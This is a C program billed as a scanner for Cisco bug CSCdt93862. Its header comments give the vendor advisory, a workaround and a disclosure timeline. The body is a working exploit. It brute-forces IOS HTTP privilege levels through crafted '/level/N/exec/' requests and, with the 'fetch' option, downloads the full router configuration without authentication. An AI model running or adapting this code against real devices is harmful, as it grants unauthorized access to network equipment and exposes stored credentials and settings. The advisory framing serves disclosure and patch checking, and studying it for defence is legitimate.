Cisco IOS HTTP Server Vulnerability Scanner - This code scans a Cisco router/switch for vulnerability, and as an option fetching the configuration, without any authentication as described here. Cisco bug ID CSCdt93862. Tested on Linux and OpenBSD.
81d881c2b33df0e7b482f1d03c843a9f8271bf7f2c9576f3f52ef9e116a990b5
/*
* Cisco IOS HTTP Server Vulnerability Scanner.
* Written by bashis <bash[at]wcd[dot]se>
*
* This code scanning a Cisco router/switch for vulnerability,
* and as an option fetching the configuration, without any
* authentication, of the router/switch if vulnerability is found.
*
* Vulnerable:
* Almost(?) ALL Cisco IOS based products with IOS Version later then 11.3,
* with HTTP server enabled and using no TACACS+ / Radius authentication.
* (I have been unable to reproduce this on routers/switches with IOS 11.2)
*
* Vendors advisory:
* http://www.cisco.com/warp/public/707/IOS-httplevel-pub.html
*
* Cisco Bug ID: CSCdt93862
*
* Workaround:
* Disable HTTP Server.
* -or-
* Use TACACS+ / Radius for authentication.
*
* Solution:
* Upgrade your IOS, read the vendors advisory for details.
*
* Status:
* 7 May 2001: Vendor was notified about this bug.
* 27 Jun 2001: Vendor released advisory.
* 30 Oct 2001: Decided to make this scanner go public.
*
* Compile: gcc -Wall -o ios-w3-vul ios-w3-vul.c
* (Tested on Linux and OpenBSD)
*
*/
#include <ctype.h>
#include <netdb.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define BUF_SIZE 1024
char getreq[] = "GET /level/";
char cmd_pwd[] = "/exec/-///pwd HTTP/1.0\n\n";
char cmd_sh_conf[] = "/exec/-///show/configuration HTTP/1.0\n\n";
int fetchc(int argc, char *argv[], struct sockaddr_in sin, struct hostent *inet_host, char vulnl[])
{
int sock;
char inbuf[BUF_SIZE], outbuf[BUF_SIZE];
if((sock=socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Can't create socket: %s\n",strerror(errno));
return(1);
}
if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0){
printf("Can't connect to %s: %s\n",argv[1], strerror(errno));
return(1);
}
bzero(outbuf,sizeof(outbuf));
bzero(inbuf,sizeof(inbuf));
strcat(outbuf,getreq);
strcat(outbuf,vulnl);
strcat(outbuf,cmd_sh_conf);
send(sock,outbuf,strlen(outbuf),0);
while(recv(sock,inbuf,sizeof(inbuf),0)){
printf("%s",inbuf);
if(strstr(inbuf,"command completed"))
break;
bzero(inbuf,sizeof(inbuf));
}
close(sock);
return(1);
}
int main(int argc, char *argv[])
{
int sock, i;
int ok = 0, bad = 0, other = 0, unauth = 0, count = 0;
int finish = 0, fetch = 0;
char inbuf[BUF_SIZE], outbuf[BUF_SIZE];
char tmp[5];
struct sockaddr_in sin;
struct hostent *inet_host;
printf("\nCisco IOS HTTP Server Vulnerability Scanner.\n");
printf("by bashis <bash[at]wcd[dot]se> Cisco Bug ID: CSCdt93862\n\n");
if((argc < 2) || (strstr(argv[1],"-?")))
{
printf("Usage: %s <host> [fetch]\n",argv[0]);
printf("\n <host>: ip or hostname to scan.\n[fetch]: fetching configuration when finding a vulnerability and exit.\n\n");
exit(0);
}
if(argc > 2)
if(!(strncmp(argv[2],"fetch",5))){
fetch++;
}
if ((inet_host=gethostbyname(argv[1])) == NULL) {
printf("Can't resolve %s\n",argv[1]);
exit(1);
}
sin.sin_family=AF_INET;
sin.sin_port=htons(80);
bcopy(inet_host->h_addr, (char *)&sin.sin_addr, inet_host->h_length);
for(i=0;i<=100;i++) {
if((sock=socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("Can't create socket: %s\n",strerror(errno));
return(1);
}
if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0)
{
printf("Can't connect to %s: %s\n",argv[1], strerror(errno));
return(1);
}
bzero(outbuf,sizeof(outbuf));
strcat(outbuf,getreq);
bzero(tmp,sizeof(tmp));
sprintf(tmp,"%d",i);
strcat(outbuf,tmp);
strcat(outbuf,cmd_pwd);
bzero(inbuf,sizeof(inbuf));
send(sock,outbuf,strlen(outbuf),0);
while(recv(sock,inbuf,sizeof(inbuf),0))
{
if(strstr(inbuf,"200 OK")) {
printf("Received: 200 OK\t\t(%d is vulnerable)\n",i);
ok++;
if(fetch) {
bzero(tmp,sizeof(tmp));
sprintf(tmp,"%d",i);
if(fetchc(argc, argv, sin, inet_host,tmp)){
finish++;
break;
}
}
break;
}
else if(strstr(inbuf,"401 Unauthorized")) {
unauth++;
printf("Received: 401 Unauthorized\t(%d is not vulnerable)\n",i);
}
else if(strstr(inbuf,"400 Bad Request")) {
bad++;
printf("Received: 400 Bad Request\t(%d is not vulnerable)\n",i);
} else {
other++;
break;
}
if(strstr(inbuf,"command completed")){
break;
}
}
count++;
close(sock);
if(finish || other)
break;
usleep(50);
}
if(ok && !fetch) {
printf("\n%s IS vulnerable, DISABLE HTTP and upgrade your IOS!.\n",argv[1]);
}
else if(!other && !ok)
printf("\n%s seems NOT to be vulnerable. Using TACACS+/Radius?\n",argv[1]);
else if((fetch && !other) || (fetch && !ok))
printf("\nFetched configuration from %s...\n",argv[1]);
else
printf("Uh Ah Oh Whats this?? - This Can't be a Cisco device..\nYou should check if it's a Cisco device you are trying to scan.. ;->\n\n");
printf("Status: Sent:%d, 200 OK:%d, 400 Bad request:%d, 401 Unauthorized:%d, Other:%d\n",count,ok,bad,unauth,other);
return(0);
}